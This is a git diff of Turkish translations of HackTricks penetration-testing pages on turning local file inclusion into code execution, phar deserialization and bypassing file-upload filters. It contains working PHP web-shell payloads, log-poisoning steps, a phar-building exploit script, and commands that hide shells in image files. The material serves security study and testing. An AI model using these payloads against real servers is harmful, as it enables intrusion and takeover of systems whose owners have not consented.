|
||||
Daha önce açıklandığı gibi, [**bu bağlantıyı takip edin**](./#remote-file-inclusion).
|
||||
|
||||
### Apache/Nginx log dosyası aracılığıyla
|
||||
|
||||
Eğer Apache veya Nginx sunucusu **LFI'ye karşı zayıfsa**, include fonksiyonu içinde **`/var/log/apache2/access.log` veya `/var/log/nginx/access.log`** dosyasına erişmeye çalışabilirsiniz, **user agent** içinde veya bir **GET parametresi** içinde **`<?php system($_GET['c']); ?>`** gibi bir php shell ayarlayıp o dosyayı dahil edebilirsiniz.
|
||||
Eğer Apache veya Nginx sunucusu **LFI'ye karşı zayıfsa**, dahil etme fonksiyonu içinde **`/var/log/apache2/access.log` veya `/var/log/nginx/access.log`** dosyasına erişmeye çalışabilirsiniz, **kullanıcı ajanı** içinde veya bir **GET parametresi** içinde **`<?php system($_GET['c']); ?>`** gibi bir php shell ayarlayıp o dosyayı dahil edebilirsiniz.
|
||||
|
||||
> [!WARNING]
|
||||
> Shell için **çift tırnak** kullanıyorsanız, **basit tırnaklar** yerine, çift tırnaklar "_**quote;**_" dizesi için değiştirilecektir, **PHP burada bir hata verecektir** ve **başka hiçbir şey çalıştırılmayacaktır**.
|
||||
> **Shell için çift tırnak kullanıyorsanız**, **basit tırnaklar** yerine, çift tırnaklar "_**quote;**_" dizesi için değiştirilecektir, **PHP orada bir hata verecektir** ve **başka hiçbir şey çalıştırılmayacaktır**.
|
||||
>
|
||||
> Ayrıca, **yükü doğru yazdığınızdan emin olun** yoksa PHP, log dosyasını yüklemeye çalıştığında her seferinde hata verecek ve ikinci bir fırsatınız olmayacaktır.
|
||||
> Ayrıca, **yükü doğru yazdığınızdan emin olun** yoksa PHP, log dosyasını yüklemeye çalıştığında her seferinde hata verecektir ve ikinci bir fırsatınız olmayacaktır.
|
||||
|
||||
Bu, diğer loglarda da yapılabilir ama **dikkatli olun**, loglardaki kod URL encoded olabilir ve bu Shell'i bozabilir. **Authorization "basic"** başlığı, Base64'te "user:password" içerir ve loglar içinde çözülür. PHPShell bu başlık içine yerleştirilebilir.\
|
||||
Diğer olası log yolları:
|
||||
@ -448,12 +452,12 @@ Fuzzing kelime listesi: [https://github.com/danielmiessler/SecLists/tree/master/
|
||||
|
||||
### E-posta ile
|
||||
|
||||
**Bir e-posta gönderin** içindeki PHP yüklemenizi içeren bir iç hesap (user@localhost) gibi `<?php echo system($_REQUEST["cmd"]); ?>` ve kullanıcı e-postasına **`/var/mail/<USERNAME>`** veya **`/var/spool/mail/<USERNAME>`** gibi bir yol ile dahil etmeye çalışın.
|
||||
**Bir e-posta gönderin** iç hesap (user@localhost) içeren PHP yüklemenizle birlikte `<?php echo system($_REQUEST["cmd"]); ?>` ve kullanıcı e-postasına dahil etmeye çalışın bir yol ile **`/var/mail/<USERNAME>`** veya **`/var/spool/mail/<USERNAME>`**
|
||||
|
||||
### /proc/\*/fd/\* ile
|
||||
|
||||
1. Birçok shell yükleyin (örneğin: 100)
|
||||
2. [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD) dahil edin, burada $PID = sürecin PID'si (brute force ile bulunabilir) ve $FD dosya tanımlayıcısı (brute force ile de bulunabilir)
|
||||
2. [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD) dahil edin, $PID = sürecin PID'si (brute force ile bulunabilir) ve $FD dosya tanımlayıcısı (brute force ile de bulunabilir)
|
||||
|
||||
### /proc/self/environ ile
|
||||
|
||||
@ -488,7 +492,7 @@ PHP'de bu oturumlar _/var/lib/php5/sess\\_\[PHPSESSID]\_ dosyalarında saklanır
|
||||
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
|
||||
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
|
||||
```
|
||||
Çerezi `<?php system('cat /etc/passwd');?>` olarak ayarlayın.
|
||||
Keki `<?php system('cat /etc/passwd');?>` olarak ayarlayın.
|
||||
```
|
||||
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
|
||||
```
|
||||
@ -502,7 +506,7 @@ Eğer ssh aktifse, hangi kullanıcının kullanıldığını kontrol edin (/proc
|
||||
|
||||
### **Via** **vsftpd** _**logs**_
|
||||
|
||||
FTP sunucusu vsftpd için loglar _**/var/log/vsftpd.log**_ konumundadır. Bir Yerel Dosya Dahil Etme (LFI) açığı varsa ve maruz kalmış bir vsftpd sunucusuna erişim mümkünse, aşağıdaki adımlar dikkate alınabilir:
|
||||
FTP sunucusu vsftpd için loglar _**/var/log/vsftpd.log**_ konumundadır. Bir Yerel Dosya Dahil Etme (LFI) açığı mevcutsa ve maruz kalmış bir vsftpd sunucusuna erişim mümkünse, aşağıdaki adımlar dikkate alınabilir:
|
||||
|
||||
1. Giriş sürecinde kullanıcı adı alanına bir PHP yükü enjekte edin.
|
||||
2. Enjeksiyondan sonra, LFI'yi kullanarak sunucu loglarını _**/var/log/vsftpd.log**_ konumundan alın.
|
||||
@ -515,25 +519,25 @@ http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=da
|
||||
|
||||
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
||||
```
|
||||
### Via php filtreleri (dosya gerekmez)
|
||||
### Via php filters (no file needed)
|
||||
|
||||
Bu [**yazı**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d), **php filtrelerini kullanarak rastgele içerik** oluşturabileceğinizi açıklar. Bu, temelde **bir dosyaya yazmadan** dahil etmek için **rastgele php kodu** oluşturabileceğiniz anlamına gelir.
|
||||
Bu [**yazı**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) **php filtrelerini kullanarak rastgele içerik** oluşturabileceğinizi açıklar. Bu, temelde **bir dosyaya yazmanıza gerek kalmadan** dahil etmek için **rastgele php kodu** oluşturabileceğiniz anlamına gelir.
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-php-filters.md
|
||||
{{#endref}}
|
||||
|
||||
### Via segmentasyon hatası
|
||||
### Via segmentation fault
|
||||
|
||||
**Geçici** olarak `/tmp` dizinine kaydedilecek bir dosya **yükleyin**, ardından **aynı istekte** bir **segmentasyon hatası** tetikleyin, ve ardından **geçici dosya silinmeyecek** ve onu arayabilirsiniz.
|
||||
**Geçici** olarak `/tmp` dizinine kaydedilecek bir dosya **yükleyin**, ardından **aynı istekte** bir **segmentation fault** tetikleyin, ve ardından **geçici dosya silinmeyecek** ve onu arayabilirsiniz.
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-segmentation-fault.md
|
||||
{{#endref}}
|
||||
|
||||
### Via Nginx geçici dosya depolama
|
||||
### Via Nginx temp file storage
|
||||
|
||||
Eğer bir **Yerel Dosya Dahil Etme** bulduysanız ve **Nginx** PHP'nin önünde çalışıyorsa, aşağıdaki teknikle RCE elde edebilirsiniz:
|
||||
Eğer bir **Local File Inclusion** bulduysanız ve **Nginx** PHP'nin önünde çalışıyorsa, aşağıdaki teknikle RCE elde edebilirsiniz:
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-nginx-temp-files.md
|
||||
@ -541,23 +545,23 @@ lfi2rce-via-nginx-temp-files.md
|
||||
|
||||
### Via PHP_SESSION_UPLOAD_PROGRESS
|
||||
|
||||
Eğer bir **Yerel Dosya Dahil Etme** bulduysanız, **oturumunuz olmasa bile** ve `session.auto_start` `Kapalı` ise. **`PHP_SESSION_UPLOAD_PROGRESS`**'i **çok parçalı POST** verilerinde sağlarsanız, PHP sizin için **oturumu etkinleştirecektir**. Bunu RCE elde etmek için kötüye kullanabilirsiniz:
|
||||
Eğer bir **Local File Inclusion** bulduysanız, **oturumunuz olmasa bile** ve `session.auto_start` `Kapalı` ise. **`PHP_SESSION_UPLOAD_PROGRESS`**'i **multipart POST** verilerinde sağlarsanız, PHP sizin için **oturumu etkinleştirecektir**. Bunu RCE elde etmek için kötüye kullanabilirsiniz:
|
||||
|
||||
{{#ref}}
|
||||
via-php_session_upload_progress.md
|
||||
{{#endref}}
|
||||
|
||||
### Via Windows'ta geçici dosya yüklemeleri
|
||||
### Via temp file uploads in Windows
|
||||
|
||||
Eğer bir **Yerel Dosya Dahil Etme** bulduysanız ve sunucu **Windows** üzerinde çalışıyorsa RCE elde edebilirsiniz:
|
||||
Eğer bir **Local File Inclusion** bulduysanız ve sunucu **Windows** üzerinde çalışıyorsa RCE elde edebilirsiniz:
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-temp-file-uploads.md
|
||||
{{#endref}}
|
||||
|
||||
### Via `pearcmd.php` + URL argümanları
|
||||
### Via `pearcmd.php` + URL args
|
||||
|
||||
[**bu yazıda açıklandığı gibi**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), `/usr/local/lib/phppearcmd.php` dosyası php docker görüntülerinde varsayılan olarak mevcuttur. Ayrıca, bir URL parametresi `=` içermiyorsa, URL üzerinden argüman olarak kullanılabileceği belirtilmiştir.
|
||||
Bu [**yazıda açıklandığı gibi**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), `/usr/local/lib/phppearcmd.php` dosyası php docker görüntülerinde varsayılan olarak mevcuttur. Ayrıca, bir URL parametresi `=` içermiyorsa, URL üzerinden script'e argüman geçmenin mümkün olduğu belirtilmiştir.
|
||||
|
||||
Aşağıdaki istek, `/tmp/hello.php` dosyasında `<?=phpinfo()?>` içeriği ile bir dosya oluşturur:
|
||||
```bash
|
||||
@ -572,7 +576,7 @@ Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php
|
||||
```
|
||||
### phpinfo() Üzerinden (file_uploads = on)
|
||||
|
||||
Eğer bir **Local File Inclusion** bulduysanız ve **phpinfo()**'u gösteren bir dosya ile file_uploads = on ise RCE elde edebilirsiniz:
|
||||
Eğer bir **Local File Inclusion** bulduysanız ve file_uploads = on olan bir **phpinfo()** dosyası bulduysanız, RCE elde edebilirsiniz:
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-phpinfo.md
|
||||
@ -580,7 +584,7 @@ lfi2rce-via-phpinfo.md
|
||||
|
||||
### compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure Üzerinden
|
||||
|
||||
Eğer bir **Local File Inclusion** bulduysanız ve **geçici dosyanın yolunu dışarıya aktarabiliyorsanız** AMA **sunucu** **dahil edilecek dosyanın PHP işaretlerine sahip olup olmadığını kontrol ediyorsa**, bu **Race Condition** ile o kontrolü **bypass etmeyi** deneyebilirsiniz:
|
||||
Eğer bir **Local File Inclusion** bulduysanız ve **geçici dosyanın yolunu dışarıya aktarabiliyorsanız** AMA **sunucu** **dahil edilecek dosyanın PHP işaretlerini kontrol ediyorsa**, bu **Race Condition** ile **o kontrolü atlamayı** deneyebilirsiniz:
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
|
||||
@ -599,7 +603,7 @@ lfi2rce-via-eternal-waiting.md
|
||||
Eğer `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar` dosyalarından herhangi birini dahil ederseniz. (Bu hatayı atmak için aynı dosyayı 2 kez dahil etmeniz gerekir).
|
||||
|
||||
**Bunun nasıl faydalı olduğunu bilmiyorum ama olabilir.**\
|
||||
&#xNAN;_EPHP Fatal Error'ı neden olsanız bile, yüklenen PHP geçici dosyaları silinir._
|
||||
&#xNAN;_Even bir PHP Fatal Error'a neden olsanız bile, yüklenen PHP geçici dosyaları silinir._
|
||||
|
||||
<figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -2,9 +2,7 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
**Phar** dosyaları (PHP Archive) **serileştirilmiş formatta meta veriler** içerir, bu nedenle, ayrıştırıldığında bu **meta veri** **deserileştirilir** ve **PHP** kodu içinde bir **deserileştirme** zafiyetini istismar etmeye çalışabilirsiniz.
|
||||
**Phar** dosyaları (PHP Archive) **serileştirilmiş formatta meta veriler içerir**, bu nedenle, ayrıştırıldığında bu **meta veri** **deserileştirilir** ve **PHP** kodu içinde bir **deserileştirme** zafiyetini istismar etmeye çalışabilirsiniz.
|
||||
|
||||
Bu özelliğin en iyi yanı, bu deserileştirmenin **file_get_contents(), fopen(), file() veya file_exists(), md5_file(), filemtime() veya filesize()** gibi PHP kodunu değerlendirmeyen PHP fonksiyonları kullanılsa bile gerçekleşmesidir.
|
||||
|
||||
@ -24,7 +22,7 @@ system($this->data);
|
||||
|
||||
filesize("phar://test.phar"); #The attacker can control this path
|
||||
```
|
||||
Bir **phar** dosyası oluşturabilirsiniz; yüklendiğinde, **bu sınıfı kötüye kullanarak rastgele komutlar** çalıştıracaktır, şöyle bir şeyle:
|
||||
Bir **phar** dosyası oluşturabilirsiniz ki yüklendiğinde **bu sınıfı kötüye kullanarak rastgele komutlar** çalıştırır:
|
||||
```php:create_phar.php
|
||||
<?php
|
||||
|
||||
@ -50,7 +48,7 @@ $object = new AnyClass('whoami');
|
||||
$phar->setMetadata($object);
|
||||
$phar->stopBuffering();
|
||||
```
|
||||
Not edin ki **JPG'nin sihirli baytları** (`\xff\xd8\xff`), phar dosyasının başına **yükleme** **kısıtlamalarını** **aşmak** için eklenmiştir.\
|
||||
Not edin ki **JPG'nin sihirli baytları** (`\xff\xd8\xff`), phar dosyasının başına **olası** dosya **yükleme** **kısıtlamalarını** **aşmak** için eklenmiştir.\
|
||||
`test.phar` dosyasını şu şekilde derleyin:
|
||||
```bash
|
||||
php --define phar.readonly=0 create_phar.php
|
||||
@ -61,8 +59,8 @@ php vuln.php
|
||||
```
|
||||
### Referanslar
|
||||
|
||||
{% embed url="https://blog.ripstech.com/2018/new-php-exploitation-technique/" %}
|
||||
|
||||
|
||||
{{#ref}}
|
||||
https://blog.ripstech.com/2018/new-php-exploitation-technique/
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -2,7 +2,6 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Dosya Yükleme Genel Metodolojisi
|
||||
|
||||
Diğer yararlı uzantılar:
|
||||
@ -22,7 +21,7 @@ Diğer yararlı uzantılar:
|
||||
2. _**Yürütme uzantısından önce geçerli bir uzantı eklemeyi kontrol edin** (önceki uzantıları da kullanın):_
|
||||
- _file.png.php_
|
||||
- _file.png.Php5_
|
||||
3. **Sonuna özel karakterler eklemeyi deneyin.** Tüm **ascii** ve **Unicode** karakterlerini **bruteforce** etmek için Burp kullanabilirsiniz. (_Daha önce belirtilen **uzantıları** kullanmayı da deneyebilirsiniz_)
|
||||
3. **Sonuna özel karakterler eklemeyi** deneyin. Tüm **ascii** ve **Unicode** karakterlerini **bruteforce** etmek için Burp kullanabilirsiniz. (_Daha önce belirtilen **uzantıları** kullanmayı da deneyebilirsiniz_)
|
||||
- _file.php%20_
|
||||
- _file.php%0a_
|
||||
- _file.php%00_
|
||||
@ -32,7 +31,7 @@ Diğer yararlı uzantılar:
|
||||
- _file._
|
||||
- _file.php...._
|
||||
- _file.pHp5...._
|
||||
4. **Sunucu tarafındaki uzantı ayrıştırıcısını kandırarak korumaları atlamayı deneyin**; uzantıyı **iki katına çıkarma** veya uzantılar arasında **gereksiz** veriler (**null** baytları) ekleme gibi teknikler kullanın. _Daha iyi bir yük hazırlamak için **önceki uzantıları** da kullanabilirsiniz._
|
||||
4. **Sunucu tarafındaki uzantı ayrıştırıcısını kandırarak** korumaları atlamayı deneyin, **uzantıyı iki katına çıkarma** veya uzantılar arasında **gereksiz** veriler (**null** baytları) ekleme gibi teknikler kullanarak. _Daha iyi bir yük hazırlamak için **önceki uzantıları** de kullanabilirsiniz._
|
||||
- _file.png.php_
|
||||
- _file.png.pHp5_
|
||||
- _file.php#.png_
|
||||
@ -44,49 +43,49 @@ Diğer yararlı uzantılar:
|
||||
5. Önceki kontrol için **bir başka uzantı katmanı ekleyin**:
|
||||
- _file.png.jpg.php_
|
||||
- _file.php%00.png%00.jpg_
|
||||
6. **Geçerli uzantıdan önce exec uzantısını koymayı deneyin** ve sunucunun yanlış yapılandırılmış olmasını umun. (Herhangi bir uzantı ile _**.php**_** çalıştırılacak şekilde yanlış yapılandırılmış Apache'yi istismar etmek için yararlıdır, ancak** .php ile bitmek zorunda değildir):
|
||||
- _ex: file.php.png_
|
||||
7. **Windows'ta NTFS alternatif veri akışı (ADS)** kullanın. Bu durumda, yasaklı bir uzantıdan sonra ve izin verilen bir uzantıdan önce bir iki nokta karakteri “:” eklenecektir. Sonuç olarak, sunucuda **yasaklı uzantıya sahip boş bir dosya** oluşturulacaktır (örneğin “file.asax:.jpg”). Bu dosya daha sonra kısa dosya adını kullanarak diğer tekniklerle düzenlenebilir. “**::$data**” deseni de boş olmayan dosyalar oluşturmak için kullanılabilir. Bu nedenle, bu desenin ardından bir nokta karakteri eklemek de daha fazla kısıtlamayı atlamak için yararlı olabilir (.e.g. “file.asp::$data.”)
|
||||
6. **Geçerli uzantıdan önce exec uzantısını koymayı** deneyin ve sunucunun yanlış yapılandırılmış olmasını umun. (Herhangi bir uzantı ile _**.php**_** olan Apache yanlış yapılandırmalarını istismar etmek için yararlıdır, ancak** mutlaka .php ile biten bir uzantı olmayabilir):
|
||||
- _ör: file.php.png_
|
||||
7. **Windows**'ta **NTFS alternatif veri akışı (ADS)** kullanma. Bu durumda, yasaklı bir uzantıdan sonra ve izin verilen bir uzantıdan önce bir iki nokta karakteri “:” eklenecektir. Sonuç olarak, sunucuda **yasaklı uzantıya sahip boş bir dosya** oluşturulacaktır (örneğin “file.asax:.jpg”). Bu dosya daha sonra başka teknikler kullanılarak düzenlenebilir, örneğin kısa dosya adını kullanarak. “**::$data**” deseni de boş olmayan dosyalar oluşturmak için kullanılabilir. Bu nedenle, bu desenin ardından bir nokta karakteri eklemek, daha fazla kısıtlamayı atlamak için de yararlı olabilir (.e.g. “file.asp::$data.”)
|
||||
8. Dosya adı sınırlarını aşmayı deneyin. Geçerli uzantı kesilir. Ve kötü niyetli PHP kalır. AAA<--SNIP-->AAA.php
|
||||
|
||||
```
|
||||
# Linux maksimum 255 bayt
|
||||
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
|
||||
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ab3Ab4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # burada 4 çıkarın ve .png ekleyin
|
||||
# Dosyayı yükleyin ve yanıtı kontrol edin, kaç karaktere izin verdiğini. Diyelim ki 236
|
||||
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ab3Ab4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # burada 4 çıkar ve .png ekle
|
||||
# Dosyayı yükleyin ve kaç karakterin izin verildiğini kontrol edin. Diyelim ki 236
|
||||
python -c 'print "A" * 232'
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
# Yükü oluşturun
|
||||
# Yükü oluştur
|
||||
AAA<--SNIP 232 A-->AAA.php.png
|
||||
```
|
||||
|
||||
### İçerik Türü, Sihirli Numara, Sıkıştırma ve Yeniden Boyutlandırmayı Atlama
|
||||
|
||||
- **Content-Type** kontrollerini atlamak için **Content-Type** **başlığının** **değerini** ayarlayın: _image/png_ , _text/plain , application/octet-stream_
|
||||
- **Content-Type** kontrollerini atlamak için **Content-Type** **başlığının** **değerini** ayarlayın: _image/png_, _text/plain_, application/octet-stream_
|
||||
1. Content-Type **kelime listesi**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
|
||||
- **Sihirli numara** kontrolünü atlamak için dosyanın başına **gerçek bir görüntünün baytlarını** ekleyin ( _file_ komutunu karıştırın). Veya shell'i **meta veriler** içine yerleştirin:\
|
||||
- **Sihirli numara** kontrolünü atlamak için dosyanın başına **gerçek bir resmin** **baytlarını** ekleyin ( _file_ komutunu karıştırın). Veya shell'i **meta veriler** içine yerleştirin:\
|
||||
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
|
||||
`\` veya yükü doğrudan bir görüntüye de **ekleyebilirsiniz**:\
|
||||
`\` veya yükü doğrudan bir resme de **yerleştirebilirsiniz**:\
|
||||
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
|
||||
- Eğer **sıkıştırma görüntünüze ekleniyorsa**, örneğin [PHP-GD](https://www.php.net/manual/fr/book.image.php) gibi bazı standart PHP kütüphaneleri kullanarak, önceki teknikler işe yaramayabilir. Ancak, sıkıştırmayı **hayatta tutacak** bazı metin eklemek için **PLTE chunk** [**burada tanımlanan teknik**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kullanılabilir.
|
||||
- Eğer **sıkıştırma** resminize ekleniyorsa, örneğin [PHP-GD](https://www.php.net/manual/fr/book.image.php) gibi bazı standart PHP kütüphaneleri kullanarak, önceki teknikler işe yaramayacaktır. Ancak, sıkıştırmayı **hayatta tutacak** bazı metin eklemek için **PLTE chunk** [**burada tanımlanan teknik**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kullanılabilir.
|
||||
- [**Kod ile Github**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
|
||||
- Web sayfası ayrıca görüntüyü **yeniden boyutlandırıyor** olabilir; örneğin PHP-GD fonksiyonları `imagecopyresized` veya `imagecopyresampled` kullanarak. Ancak, sıkıştırmayı **hayatta tutacak** bazı metin eklemek için **IDAT chunk** [**burada tanımlanan teknik**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kullanılabilir.
|
||||
- Web sayfası ayrıca resmi **yeniden boyutlandırıyor** olabilir, örneğin PHP-GD fonksiyonları `imagecopyresized` veya `imagecopyresampled` kullanarak. Ancak, sıkıştırmayı **hayatta tutacak** bazı metin eklemek için **IDAT chunk** [**burada tanımlanan teknik**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kullanılabilir.
|
||||
- [**Kod ile Github**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
|
||||
- Bir görüntü yeniden boyutlandırıldığında **hayatta kalan** bir yük oluşturmak için başka bir teknik, PHP-GD fonksiyonu `thumbnailImage` kullanmaktır. Ancak, sıkıştırmayı **hayatta tutacak** bazı metin eklemek için **tEXt chunk** [**burada tanımlanan teknik**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kullanılabilir.
|
||||
- Resim **yeniden boyutlandırmayı** **hayatta tutacak** bir yük oluşturmak için başka bir teknik, PHP-GD fonksiyonu `thumbnailImage` kullanmaktır. Ancak, sıkıştırmayı **hayatta tutacak** bazı metin eklemek için **tEXt chunk** [**burada tanımlanan teknik**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kullanılabilir.
|
||||
- [**Kod ile Github**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
|
||||
|
||||
### Diğer Kontrol Edilecek Hileler
|
||||
### Kontrol Edilecek Diğer Hileler
|
||||
|
||||
- Yüklenmiş dosyayı **yeniden adlandırmak** için bir zafiyet bulun (uzantıyı değiştirmek için).
|
||||
- **Yerel Dosya Dahil Etme** zafiyetini bulmak, arka kapıyı çalıştırmak için.
|
||||
- **Olası Bilgi sızıntısı**:
|
||||
- Zaten yüklenmiş dosyanın adını **değiştirmek** için bir zafiyet bulun (uzantıyı değiştirmek için).
|
||||
- Geri kapıyı çalıştırmak için bir **Yerel Dosya Dahil Etme** zafiyeti bulun.
|
||||
- **Olası Bilgi ifşası**:
|
||||
1. **Aynı dosyayı** **birden fazla kez** (ve **aynı anda**) **aynı isimle** yükleyin.
|
||||
2. **Zaten var olan** bir **dosya** veya **klasör** adıyla bir dosya yükleyin.
|
||||
3. **“.”, “..” veya “…”** gibi bir adı olan bir dosya yükleyin. Örneğin, Apache'de **Windows**'ta, uygulama yüklenen dosyaları “/www/uploads/” dizinine kaydederse, “.” dosya adı “/www/” dizininde “uploads” adında bir dosya oluşturacaktır.
|
||||
4. **NTFS**'te kolayca silinmeyen bir dosya yükleyin, örneğin **“…:.jpg”**. (Windows)
|
||||
5. **Windows**'ta adında **geçersiz karakterler** içeren bir dosya yükleyin, örneğin `|<>*?”`. (Windows)
|
||||
6. **Windows**'ta **rezerv** (**yasaklı**) **adlar** içeren bir dosya yükleyin, örneğin CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 ve LPT9.
|
||||
- Ayrıca, **kötü niyetli kodu** çalıştıracak bir **yürütülebilir** (.exe) veya **.html** (daha az şüpheli) dosyayı **yüklemeyi** deneyin.
|
||||
- Ayrıca, **bir yürütülebilir** (.exe) veya **.html** (daha az şüpheli) bir dosya yüklemeyi deneyin, bu dosya kurban tarafından yanlışlıkla açıldığında **kod çalıştıracaktır**.
|
||||
|
||||
### Özel uzantı hileleri
|
||||
|
||||
@ -95,11 +94,11 @@ Eğer bir **ASP sunucusuna** dosya yüklemeye çalışıyorsanız, [kod çalış
|
||||
|
||||
`.phar` dosyaları, Java için `.jar` gibi, ancak PHP için olup, **bir php dosyası gibi kullanılabilir** (php ile çalıştırarak veya bir script içinde dahil ederek...)
|
||||
|
||||
`.inc` uzantısı bazen yalnızca **dosyaları içe aktarmak için** kullanılan php dosyaları için kullanılır, bu nedenle bir noktada, biri **bu uzantının çalıştırılmasına izin vermiş olabilir**.
|
||||
`.inc` uzantısı bazen yalnızca **dosya içe aktarmak** için kullanılan php dosyaları için kullanılır, bu nedenle, bir noktada, biri **bu uzantının çalıştırılmasına izin vermiş olabilir**.
|
||||
|
||||
## **Jetty RCE**
|
||||
|
||||
Eğer bir XML dosyasını Jetty sunucusuna yükleyebilirseniz, [RCE elde edebilirsiniz çünkü **yeni \*.xml ve \*.war otomatik olarak işlenir**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Bu nedenle, aşağıdaki resimde belirtildiği gibi, XML dosyasını `$JETTY_BASE/webapps/` dizinine yükleyin ve shell'i bekleyin!
|
||||
Eğer bir Jetty sunucusuna bir XML dosyası yükleyebilirseniz, [**yeni \*.xml ve \*.war otomatik olarak işlenir**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Bu nedenle, aşağıdaki resimde belirtildiği gibi, XML dosyasını `$JETTY_BASE/webapps/` dizinine yükleyin ve shell'i bekleyin!
|
||||
|
||||
.png>)
|
||||
|
||||
@ -109,7 +108,7 @@ Bu zafiyetin detaylı bir keşfi için orijinal araştırmaya bakın: [uWSGI RCE
|
||||
|
||||
Uzak Komut Yürütme (RCE) zafiyetleri, birinin `.ini` yapılandırma dosyasını değiştirme yeteneği varsa uWSGI sunucularında istismar edilebilir. uWSGI yapılandırma dosyaları, "sihirli" değişkenleri, yer tutucuları ve operatörleri dahil etmek için belirli bir sözdizimi kullanır. Özellikle, `@(filename)` olarak kullanılan '@' operatörü, bir dosyanın içeriğini dahil etmek için tasarlanmıştır. uWSGI'de desteklenen çeşitli şemalar arasında, "exec" şeması özellikle güçlüdür ve bir sürecin standart çıktısından veri okumaya olanak tanır. Bu özellik, bir `.ini` yapılandırma dosyası işlendiğinde Uzak Komut Yürütme veya Rastgele Dosya Yazma/Okuma gibi kötü niyetli amaçlar için manipüle edilebilir.
|
||||
|
||||
Aşağıdaki zararlı `uwsgi.ini` dosyası örneğini düşünün; çeşitli şemaları göstermektedir:
|
||||
